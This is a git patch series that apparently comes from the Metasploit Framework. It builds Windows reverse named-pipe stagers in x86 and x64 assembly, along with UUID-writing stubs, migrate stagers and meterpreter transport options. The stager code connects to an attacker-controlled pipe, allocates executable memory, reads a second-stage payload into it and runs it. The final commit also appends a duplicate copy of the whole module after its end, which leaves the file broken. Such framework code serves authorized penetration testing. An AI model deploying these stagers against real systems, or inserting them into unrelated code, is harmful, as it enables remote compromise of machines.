+ include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 WSA_DATA_SIZE = 408 diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb index 254f715174fb9..8e4e3860760b9 100644 --- a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb @@ -127,7 +127,6 @@ def asm_reverse_named_pipe(opts={}) get_pipe_name: pop rcx ; lpFileName ; Start by setting up the call to CreateFile - ; perform the call to WSASocketA... push 0 ; alignment push 0 ; hTemplateFile push 0 ; dwFlagsAndAttributes @@ -265,7 +264,7 @@ def asm_reverse_named_pipe(opts={}) sub rsi, rax ; length -= bytes_received test rsi, rsi ; test length jnz read_more ; continue if we have more to read - int 3 + ;int 3 jmp r15 ; return into the second stage ^ From 177dac673858311bce143c2c8a3f231d71525e0d Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 9 May 2016 18:51:03 +1000 Subject: [PATCH 15/23] Format fix, comment fix --- .../core/payload/windows/x64/reverse_named_pipe.rb | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb index 8e4e3860760b9..56a27da37e77e 100644 --- a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb @@ -114,8 +114,6 @@ def asm_reverse_named_pipe(opts={}) ; Input: RBP must be the address of 'api_call' ; Output: RDI will be the handle to the named pipe. - ;int 3 - retry_start: push #{retry_count} ; retry counter pop r14 @@ -133,7 +131,7 @@ def asm_reverse_named_pipe(opts={}) push 3 ; dwCreationDisposition (OPEN_EXISTING) xor r9, r9 ; lpSecurityAttributes xor r8, r8 ; dwShareMode - mov rdx, 0xC0000000 ; dwDesiredAccess( GENERIC_READ|GENERIC_WRITE) + mov rdx, 0xC0000000 ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE) mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} call rbp ; CreateFileA(...) @@ -185,7 +183,7 @@ def asm_reverse_named_pipe(opts={}) if reliable asm << %Q^ - ; reliability: check to see if the recv worked, and reconnect + ; reliability: check to see if the received worked, and reconnect ; if it fails test eax, eax jz cleanup_file @@ -237,12 +235,12 @@ def asm_reverse_named_pipe(opts={}) pop rax push r15 pop rcx ; lpAddress - push 0x4000 ; MEM_COMMIT + push 0x4000 ; MEM_DECOMMIT pop r8 ; dwFreeType push 0 ; 0 pop rdx ; dwSize mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} - call rbp ; VirtualFree(payload, 0, MEM_COMMIT) + call rbp ; VirtualFree(payload, 0, MEM_DECOMMIT) cleanup_file: ; clean up the socket @@ -264,7 +262,6 @@ def asm_reverse_named_pipe(opts={}) sub rsi, rax ; length -= bytes_received test rsi, rsi ; test length jnz read_more ; continue if we have more to read - ;int 3 jmp r15 ; return into the second stage ^ From 9e6e623c29800492971db0d6d44429ed048f89e1 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 9 May 2016 19:34:03 +1000 Subject: [PATCH 16/23] WriteUUID fixes --- .../payload/windows/reverse_named_pipe.rb | 1 - lib/msf/core/payload/windows/write_uuid.rb | 2 +- .../payload/windows/x64/reverse_named_pipe.rb | 6 +- .../core/payload/windows/x64/write_uuid.rb | 60 +++++++++++++++++++ 4 files changed, 64 insertions(+), 5 deletions(-) create mode 100644 lib/msf/core/payload/windows/x64/write_uuid.rb diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb index 4ac2c8e54f89c..2d9f502b02706 100644 --- a/lib/msf/core/payload/windows/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb @@ -156,7 +156,6 @@ def asm_reverse_named_pipe(opts={}) xchg edi, eax ; edi now has the file handle we'll need in future ^ - # TODO: add the "write file" equiv of this asm << asm_write_uuid if include_send_uuid asm << %Q^ diff --git a/lib/msf/core/payload/windows/write_uuid.rb b/lib/msf/core/payload/windows/write_uuid.rb index 21c5571ea89a7..df7773ceb7afa 100644 --- a/lib/msf/core/payload/windows/write_uuid.rb +++ b/lib/msf/core/payload/windows/write_uuid.rb @@ -19,7 +19,7 @@ module Payload::Windows::WriteUUID # This code assumes that the block API pointer is in ebp, and # the communications file handle is in edi. # - def asm_send_uuid(uuid=nil) + def asm_write_uuid(uuid=nil) uuid ||= generate_payload_uuid uuid_raw = uuid.to_raw diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb index 56a27da37e77e..3af13e71e3a87 100644 --- a/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe.rb @@ -2,7 +2,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' -#require 'msf/core/payload/windows/x64/write_uuid' +require 'msf/core/payload/windows/x64/write_uuid' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' @@ -18,7 +18,7 @@ module Payload::Windows::ReverseNamedPipe_x64 include Msf::Payload::TransportConfig include Msf::Payload::Windows - #include Msf::Payload::Windows::WriteUUID_x64 + include Msf::Payload::Windows::WriteUUID_x64 include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 @@ -163,7 +163,7 @@ def asm_reverse_named_pipe(opts={}) connected: xchg rdi, rax ; Save the file handler for later ^ - #asm << asm_send_uuid if include_send_uuid + asm << asm_write_uuid if include_send_uuid asm << %Q^ ; Receive the size of the incoming second stage... diff --git a/lib/msf/core/payload/windows/x64/write_uuid.rb b/lib/msf/core/payload/windows/x64/write_uuid.rb new file mode 100644 index 0000000000000..c00c36149e9be --- /dev/null +++ b/lib/msf/core/payload/windows/x64/write_uuid.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/uuid' + +module Msf + +### +# +# Basic write_uuid stub for Windows ARCH_X86_64 payloads +# +### + +module Payload::Windows::WriteUUID_x64 + + # + # Generate assembly code that writes the UUID to a file handle. + # + # This code assumes that the block API pointer is in ebp, and + # the communications file handle is in edi. + # + def asm_write_uuid(uuid=nil) + uuid ||= generate_payload_uuid + uuid_raw = uuid.to_raw + + asm =%Q^ + write_uuid: + xor r9, r9 ; lpNumberOfBytesWritten + push #{uuid_raw.length} ; nNumberOfBytesToWrite + pop r8 + call get_uuid_address ; put uuid buffer on the stack + db #{raw_to_db(uuid_raw)} ; UUID + get_uuid_address: + pop rdx ; lpBuffer + mov rcx, rdi ; hFile + push 0 ; alignment + push 0 ; lpOverlapped + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')} + call rbp ; call WriteFile(...) + ^ + + asm + end + + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 17 + + # a UUID is 16 bytes + space += 16 + + space + end + +end + +end + + + From 11f8b34ece77f49ac6312be2f04cdbba2f977598 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 9 May 2016 21:56:42 +1000 Subject: [PATCH 17/23] Reverse transport param flags for pipe host/name --- .../post/meterpreter/ui/console/command_dispatcher/core.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 487c5f741a3a0..a57df2fd55bb5 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -659,7 +659,7 @@ def cmd_transport(*args) opts[:uri] = val when '-i' transport_index = val.to_i - when '-lu', '-pi' + when '-lu', '-pn' opts[:luri] = val when '-ph' opts[:proxy_host] = val @@ -683,7 +683,7 @@ def cmd_transport(*args) opts[:retry_wait] = val.to_i if val when '-p' opts[:lport] = val.to_i if val - when '-l', '-pn' + when '-l', '-pi' opts[:lhost] = val when '-v' opts[:verbose] = true From 7e7a6af666dccb03fd3af669423dcbaddca56e9c Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 10 May 2016 09:40:22 +1000 Subject: [PATCH 18/23] Fix typo in payload spec --- spec/modules/payloads_spec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 4f22564642f47..aa4ba379fa21e 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -3949,14 +3949,14 @@ reference_name: 'windows/x64/meterpreter_reverse_ipv6_tcp' end - context 'windows/x64/meterpreter_reverse_named_pip' do + context 'windows/x64/meterpreter_reverse_named_pipe' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ - 'singles/windows/x64/meterpreter_reverse_named_pip' + 'singles/windows/x64/meterpreter_reverse_named_pipe' ], dynamic_size: false, modules_pathname: modules_pathname, - reference_name: 'windows/x64/meterpreter_reverse_named_pip' + reference_name: 'windows/x64/meterpreter_reverse_named_pipe' end context 'windows/x64/meterpreter_reverse_tcp' do From 0ef82321b18069fcd12fa74c021dd1271d5053e7 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 May 2016 18:10:38 +1000 Subject: [PATCH 19/23] Fix up migrate stagers to indicate purpose of ESI --- lib/msf/core/payload/windows/migrate_http.rb | 3 ++- lib/msf/core/payload/windows/migrate_pipe.rb | 3 ++- lib/msf/core/payload/windows/migrate_tcp.rb | 3 ++- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/windows/migrate_http.rb b/lib/msf/core/payload/windows/migrate_http.rb index a9311e0558b40..2f9f07277b806 100644 --- a/lib/msf/core/payload/windows/migrate_http.rb +++ b/lib/msf/core/payload/windows/migrate_http.rb @@ -34,7 +34,8 @@ def generate asm = %Q^ migrate: cld - mov esi, [esp+4] + pop esi + pop esi ; esi now contains a pointer to the migrate context sub esp, 0x2000 call start #{asm_block_api} diff --git a/lib/msf/core/payload/windows/migrate_pipe.rb b/lib/msf/core/payload/windows/migrate_pipe.rb index 6a7846cad99d9..2004194d358fd 100644 --- a/lib/msf/core/payload/windows/migrate_pipe.rb +++ b/lib/msf/core/payload/windows/migrate_pipe.rb @@ -34,7 +34,8 @@ def generate asm = %Q^ migrate: cld - mov esi, [esp+4] + pop esi + pop esi ; esi now contains a pointer to the migrate context sub esp, 0x2000 call start #{asm_block_api} diff --git a/lib/msf/core/payload/windows/migrate_tcp.rb b/lib/msf/core/payload/windows/migrate_tcp.rb index 94775a3d53c48..285ba5bfa6fca 100644 --- a/lib/msf/core/payload/windows/migrate_tcp.rb +++ b/lib/msf/core/payload/windows/migrate_tcp.rb @@ -36,7 +36,8 @@ def generate asm = %Q^ migrate: cld - mov esi, [esp+4] + pop esi + pop esi ; esi now contains a pointer to the migrate context sub esp, 0x2000 call start #{asm_block_api} From 1025612abd65a1f04ec3df2ae0dfaa963e216af2 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 May 2016 18:13:33 +1000 Subject: [PATCH 20/23] Switch to 1.9+ hashes in transport config --- lib/msf/core/payload/transport_config.rb | 38 ++++++++++++------------ 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index f57d7bccff0a9..e1a5e45779bcd 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -18,9 +18,9 @@ def transport_config_reverse_tcp(opts={}) def transport_config_reverse_named_pipe(opts={}) { - :scheme => 'pipe', - :lhost => datastore['PIPEHOST'], - :uri => "/#{datastore['PIPENAME']}" + scheme: 'pipe', + lhost: datastore['PIPEHOST'], + uri: "/#{datastore['PIPENAME']}" }.merge(timeout_config) end @@ -33,9 +33,9 @@ def transport_config_reverse_ipv6_tcp(opts={}) def transport_config_bind_tcp(opts={}) { - :scheme => 'tcp', - :lhost => datastore['LHOST'], - :lport => datastore['LPORT'].to_i + scheme: 'tcp', + lhost: datastore['LHOST'], + lport: datastore['LPORT'].to_i }.merge(timeout_config) end @@ -59,16 +59,16 @@ def transport_config_reverse_http(opts={}) end { - :scheme => 'http', - :lhost => opts[:lhost] || datastore['LHOST'], - :lport => (opts[:lport] || datastore['LPORT']).to_i, - :uri => uri, - :ua => datastore['MeterpreterUserAgent'], - :proxy_host => datastore['PayloadProxyHost'], - :proxy_port => datastore['PayloadProxyPort'], - :proxy_type => datastore['PayloadProxyType'], - :proxy_user => datastore['PayloadProxyUser'], - :proxy_pass => datastore['PayloadProxyPass'] + scheme: 'http', + lhost: opts[:lhost] || datastore['LHOST'], + lport: (opts[:lport] || datastore['LPORT']).to_i, + uri: uri, + ua: datastore['MeterpreterUserAgent'], + proxy_host: datastore['PayloadProxyHost'], + proxy_port: datastore['PayloadProxyPort'], + proxy_type: datastore['PayloadProxyType'], + proxy_user: datastore['PayloadProxyUser'], + proxy_pass: datastore['PayloadProxyPass'] }.merge(timeout_config) end @@ -76,9 +76,9 @@ def transport_config_reverse_http(opts={}) def timeout_config { - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, - :retry_total => datastore['SessionRetryTotal'].to_i, - :retry_wait => datastore['SessionRetryWait'].to_i + comm_timeout: datastore['SessionCommunicationTimeout'].to_i, + retry_total: datastore['SessionRetryTotal'].to_i, + retry_wait: datastore['SessionRetryWait'].to_i } end From cea80595c91ae5f0f9c4fa9edaeb743a0c7e627b Mon Sep 17 00:00:00 2001 From: Maxim Zhukov Date: Thu, 12 Jan 2017 14:04:08 +0300 Subject: [PATCH 21/23] Use patched metasploit-payloads --- Gemfile | 5 ++++- Gemfile.lock | 28 +++++++++++++++++----------- metasploit-framework.gemspec | 2 -- 3 files changed, 21 insertions(+), 14 deletions(-) diff --git a/Gemfile b/Gemfile index 0a81128d1c847..e9b9d479ba168 100755 --- a/Gemfile +++ b/Gemfile @@ -3,6 +3,9 @@ source 'https://rubygems.org' # spec.add_runtime_dependency '', [] gemspec name: 'metasploit-framework' +# Needed for Meterpreter +gem 'metasploit-payloads', github: 'OJ/metasploit-payloads', branch: 'named-pipe-channels' + # separate from test as simplecov is not run on travis-ci group :coverage do # code coverage for tests @@ -39,7 +42,7 @@ group :test do # cucumber extension for testing command line applications, like msfconsole gem 'aruba' # cucumber + automatic database cleaning with database_cleaner - gem 'cucumber-rails', :require => false + gem 'cucumber-rails', require: false gem 'shoulda-matchers' # Manipulate Time.now in specs gem 'timecop' diff --git a/Gemfile.lock b/Gemfile.lock index 0d2d015878a73..7f97cd4118a64 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,3 +1,10 @@ +GIT + remote: git://github.com/OJ/metasploit-payloads.git + revision: 52fd894f369fbc4a1d91176337df9af427e97358 + branch: named-pipe-channels + specs: + metasploit-payloads (1.1.12) + PATH remote: . specs: @@ -13,7 +20,6 @@ PATH metasploit-concern metasploit-credential (= 1.1.0) metasploit-model (= 1.1.0) - metasploit-payloads (= 1.1.10) metasploit_data_models (= 1.3.0) msgpack network_interface (~> 0.0.1) @@ -62,8 +68,8 @@ GEM tzinfo (~> 0.3.37) addressable (2.3.8) arel (4.0.2) - arel-helpers (2.2.0) - activerecord (>= 3.1.0, < 5) + arel-helpers (2.3.0) + activerecord (>= 3.1.0, < 6) aruba (0.6.2) childprocess (>= 0.3.6) cucumber (>= 1.1.1) @@ -110,7 +116,7 @@ GEM i18n (0.7.0) jsobfu (0.4.1) rkelly-remix (= 0.0.6) - json (1.8.3) + json (2.0.2) mail (2.6.3) mime-types (>= 1.16, < 3) metasm (1.0.2) @@ -130,7 +136,6 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.1.10) metasploit_data_models (1.3.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) @@ -145,7 +150,7 @@ GEM mime-types (2.6.1) mini_portile2 (2.0.0) minitest (4.7.5) - msgpack (0.7.4) + msgpack (1.0.2) multi_json (1.11.2) multi_test (0.1.2) multipart-post (2.0.0) @@ -159,8 +164,8 @@ GEM network_interface (~> 0.0) pcaprub (~> 0.12) patch_finder (1.0.2) - pcaprub (0.12.1) - pg (0.18.4) + pcaprub (0.12.4) + pg (0.19.0) pg_array_parser (0.0.9) postgres_ext (3.0.0) activerecord (>= 4.0.0) @@ -210,7 +215,7 @@ GEM rspec-mocks (~> 3.3.0) rspec-support (~> 3.3.0) rspec-support (3.3.0) - rubyntlm (0.6.0) + rubyntlm (0.6.1) rubyzip (1.2.0) sawyer (0.6.0) addressable (~> 2.3.5) @@ -232,7 +237,7 @@ GEM actionpack (>= 3.0) activesupport (>= 3.0) sprockets (>= 2.8, < 4.0) - sqlite3 (1.3.11) + sqlite3 (1.3.13) thor (0.19.1) thread_safe (0.3.5) tilt (1.4.1) @@ -251,6 +256,7 @@ DEPENDENCIES factory_girl_rails (~> 4.5.0) fivemat (~> 1.3.1) metasploit-framework! + metasploit-payloads! octokit (~> 4.0) pry rake (>= 10.0.0) @@ -262,4 +268,4 @@ DEPENDENCIES yard BUNDLED WITH - 1.12.2 + 1.12.5 diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 605fe3b6dbc61..657acadba0a05 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -69,8 +69,6 @@ Gem::Specification.new do |spec| # Things that would normally be part of the database model, but which # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.1.0' - # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.1.10' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From 91b206d0c3aed5040bee3ea4865726db39ca0ec5 Mon Sep 17 00:00:00 2001 From: Maxim Zhukov Date: Tue, 28 Mar 2017 13:18:08 +0300 Subject: [PATCH 22/23] 1 --- Gemfile | 2 +- Gemfile.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/Gemfile b/Gemfile index e9b9d479ba168..8b8afa447c934 100755 --- a/Gemfile +++ b/Gemfile @@ -4,7 +4,7 @@ source 'https://rubygems.org' gemspec name: 'metasploit-framework' # Needed for Meterpreter -gem 'metasploit-payloads', github: 'OJ/metasploit-payloads', branch: 'named-pipe-channels' +gem 'metasploit-payloads', github: 'sempervictus/metasploit-payloads', branch: 'feature-update_named_pipes_pr' # separate from test as simplecov is not run on travis-ci group :coverage do diff --git a/Gemfile.lock b/Gemfile.lock index 7f97cd4118a64..ed30863002461 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,9 +1,9 @@ GIT - remote: git://github.com/OJ/metasploit-payloads.git - revision: 52fd894f369fbc4a1d91176337df9af427e97358 - branch: named-pipe-channels + remote: git://github.com/sempervictus/metasploit-payloads.git + revision: 084cde42e5fd21ff0cf7a9a28930b7f7c7de87b3 + branch: feature-update_named_pipes_pr specs: - metasploit-payloads (1.1.12) + metasploit-payloads (1.2.5) PATH remote: . From 03cd57888e516a4ec9508dd801f02c95c480addc Mon Sep 17 00:00:00 2001 From: Maxim Zhukov Date: Tue, 28 Mar 2017 13:18:15 +0300 Subject: [PATCH 23/23] 2 --- .../payload/windows/reverse_named_pipe.rb | 357 +++++++++++++++++- 1 file changed, 351 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb index 2d9f502b02706..3ba747b3383a0 100644 --- a/lib/msf/core/payload/windows/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb @@ -7,7 +7,6 @@ require 'msf/core/payload/windows/exitfunk' module Msf - ### # # Complex reverse_named_pipe payload generation for Windows ARCH_X86 @@ -15,7 +14,6 @@ module Msf ### module Payload::Windows::ReverseNamedPipe - include Msf::Payload::TransportConfig include Msf::Payload::Windows include Msf::Payload::Windows::WriteUUID @@ -96,7 +94,6 @@ def required_space # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_reverse_named_pipe(opts={}) - retry_count = [opts[:retry_count].to_i, 1].max reliable = opts[:reliable] # we have to double-escape because of metasm @@ -105,7 +102,37 @@ def asm_reverse_named_pipe(opts={}) asm = %Q^ ; Input: EBP must be the address of 'api_call'. ; Output: EDI will be the handle for the pipe to the server - + jmp arg_count_end + arg_count: + push eax + push eax + mov eax, [esp + 8] + mov [esp + 4], eax + call arg_count_var + dd 0x0 + arg_count_var: + mov eax, [esp] + mov [esp + 0xC], eax + mov eax, [esp + 4] + add esp, 8 + ret + arg_count_end: + ; + call get_dll_name + db "shell32.dll", 0x00 + get_dll_name: + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp + ; + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetCommandLineW')} + call ebp + ; + call arg_count ; push arg_count_var onto stack + push eax + push #{Rex::Text.block_api_hash('shell32.dll', 'CommandLineToArgvW')} + call ebp + ; + ; retry_start: push #{retry_count} ; retry counter mov esi, esp ; keep track of where the variables are @@ -119,11 +146,24 @@ def asm_reverse_named_pipe(opts={}) push ebx ; lpSecurityAttributes push ebx ; dwShareMode push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE) + ; + call arg_count + mov ebx, [esp] + add esp, 4 + cmp [ebx], 1 + jle no_args + ; + push [eax+4] + jmp create_file_w + ; + no_args: call get_pipe_name - db "#{full_pipe_name}", 0x00 + dw "#{full_pipe_name}", 0x00 get_pipe_name: ; lpFileName (via call) - push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')} + create_file_w: + xor ebx, ebx + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileW')} call ebp ; CreateFileA(...) ; If eax is -1, then we had a failure. @@ -268,3 +308,308 @@ def asm_reverse_named_pipe(opts={}) end end +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/transport_config' +require 'msf/core/payload/windows/write_uuid' +require 'msf/core/payload/windows/block_api' +require 'msf/core/payload/windows/exitfunk' + +module Msf +### +# +# Complex reverse_named_pipe payload generation for Windows ARCH_X86 +# +### +module Payload::Windows::ReverseNamedPipe + include Msf::Payload::TransportConfig + include Msf::Payload::Windows + include Msf::Payload::Windows::WriteUUID + include Msf::Payload::Windows::BlockApi + include Msf::Payload::Windows::Exitfunk + + # + # Generate the first stage + # + def generate + conf = { + name: datastore['PIPENAME'], + host: datastore['PIPEHOST'] || '.', + retry_count: datastore['ReverseConnectRetries'], + reliable: false + } + + # Generate the advanced stager if we have space + unless self.available_space.nil? || required_space > self.available_space + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:reliable] = true + end + + generate_reverse_named_pipe(conf) + end + + # + # By default, we don't want to send the UUID, but we'll send + # for certain payloads if requested. + # + def include_send_uuid + false + end + + def transport_config(opts={}) + transport_config_reverse_named_pipe(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_named_pipe(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. + #{asm_block_api} + start: + pop ebp + #{asm_reverse_named_pipe(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # EXITFUNK 'thread' is the biggest by far, adds 29 bytes. + space += 29 + + # Reliability adds some bytes! + space += 44 + + space += uuid_required_size if include_send_uuid + + # The final estimated size + space + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Bool] :reliable Whether or not to enable error handling code + # + def asm_reverse_named_pipe(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + reliable = opts[:reliable] + # we have to double-escape because of metasm + full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}" + + asm = %Q^ + ; Input: EBP must be the address of 'api_call'. + ; Output: EDI will be the handle for the pipe to the server + jmp arg_count_end + arg_count: + push eax + push eax + mov eax, [esp + 8] + mov [esp + 4], eax + call arg_count_var + dd 0x0 + arg_count_var: + mov eax, [esp] + mov [esp + 0xC], eax + mov eax, [esp + 4] + add esp, 8 + ret + arg_count_end: + call get_dll_name + db "shell32.dll", 0x00 + get_dll_name: + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp + ; + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetCommandLineW')} + call ebp + ; + call arg_count ; push arg_count_var onto stack + push eax + push #{Rex::Text.block_api_hash('shell32.dll', 'CommandLineToArgvW')} + call ebp + ; + retry_start: + push #{retry_count} ; retry counter + mov esi, esp ; keep track of where the variables are + + try_reverse_named_pipe: + ; Start by setting up the call to CreateFile + xor ebx, ebx ; EBX will be used for pushing zero + push ebx ; hTemplateFile + push ebx ; dwFlagsAndAttributes + push 3 ; dwCreationDisposition (OPEN_EXISTING) + push ebx ; lpSecurityAttributes + push ebx ; dwShareMode + push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE) + ; + call arg_count + mov ebx, [esp] + add esp, 4 + cmp [ebx], 1 + jle no_args + ; + push [eax+4] + jmp create_file_w + ; + no_args: + call get_pipe_name + dw "#{full_pipe_name}", 0x00 + get_pipe_name: + ; lpFileName (via call) + create_file_w: + xor ebx, ebx + push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileW')} + call ebp ; CreateFileA(...) + + ; If eax is -1, then we had a failure. + cmp eax, -1 ; -1 means a failure + jnz connected + + handle_connect_failure: + ; decrement our attempt count and try again + dec [esi] + jnz try_reverse_named_pipe + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call ebp + ^ + end + + asm << %Q^ + ; this label is required so that reconnect attempts include + ; the UUID stuff if required. + connected: + xchg edi, eax ; edi now has the file handle we'll need in future + ^ + + asm << asm_write_uuid if include_send_uuid + + asm << %Q^ + ; Receive the size of the incoming second stage... + push ebx ; buffer for lpNumberOfBytesRead + mov ecx, esp + push ebx ; buffer for lpBuffer + mov esi, esp + push ebx ; lpOverlapped + push ecx ; lpNumberOfBytesRead + push 4 ; nNumberOfBytesToRead = sizeof( DWORD ); + push esi ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the size + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the file read worked, retry otherwise + ; if it fails + test eax, eax + jz cleanup_file + mov eax, [esi+4] ; check to see if bytes were read + test eax, eax + jz cleanup_file + ^ + end + + asm << %Q^ + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly received second stage length. + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: + push eax ; space for the number of bytes + mov eax, esp ; store the pointer + push 0 ; lpOverlapped + push eax ; lpNumberOfBytesRead + push esi ; nNumberOfBytesToRead + push ebx ; lpBuffer + push edi ; hFile + push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')} + call ebp ; ReadFile(...) to read the size + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jz read_failed + pop eax ; get the number of bytes read + cmp eax, 0 + jnz read_successful + + read_failed: + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; dwFreeType (MEM_DECOMMIT) + push 0 ; dwSize + push eax ; lpAddress + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT) + + cleanup_file: + ; clear up the named pipe handle + push edi ; named pipe handle + push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')} + call ebp ; CloseHandle(...) + + ; restore the stack back to the connection retry count + pop esi + pop esi + pop esi + dec [esp] ; decrement the counter + + ; try again + jmp try_reverse_named_pipe + ^ + else + asm << %Q^ + pop eax ; pop bytes read + ^ + end + + asm << %Q^ + read_successful: + add ebx, eax ; buffer += bytes_received + sub esi, eax ; length -= bytes_received, will set flags + jnz read_more ; continue if we have more to read + ret ; return into the second stage + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + asm + end +end +end